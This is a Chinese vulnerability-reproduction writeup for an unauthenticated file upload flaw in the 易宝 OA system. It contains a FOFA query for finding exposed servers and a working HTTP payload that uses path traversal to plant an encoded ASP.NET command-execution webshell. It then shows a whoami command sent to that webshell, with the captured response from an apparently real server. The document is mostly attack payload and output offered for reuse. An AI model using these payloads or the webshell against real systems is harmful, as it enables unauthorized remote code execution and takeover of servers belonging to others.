Y6-2易宝-OA-文件上传

漏洞描述：

易宝OA系统UploadFile、BasicService.asmx等接口处存在文件上传漏洞，未授权的攻击者可以上传恶意后门程序执行任意代码，获取服务器权限

网站图片：

网络测绘：

fofa语法：

FOFA：app="顶讯科技-易宝OA系统"

漏洞复现：

payload：

```
POST /api/files/UploadFile HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 1926

token=zxh&FileName=/../../manager/a.aspx&pathType=1&fs=[60,37,64,32,80,97,103,101,32,76,97,110,103,117,97,103,101,61,34,74,115,99,114,105,112,116,34,32,118,97,108,105,10
```

效果图:
PS：PoC中请求体那串数字是ASCII十进制编码的asp.net命令回显马子

命令执行

```
POST /a.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 10

cmd=whoami
```


Request
数据包扫描
热加载
构造请求
POST /a.aspx HTTP/1.1
Host: [redacted]:800
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 10
cmd=whoami
Responses
29bytes / 4021ms
美化
渲染
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 30
Access-Control-Allow-Methods: GET,POST,OPTIONS
Access-Control-Allow-Headers: Content-Type, Accept
Date: Wed, 06 Dec 2023 13:26:39 GMT
Content-Length: 29
iis apppool\smarttrade_2019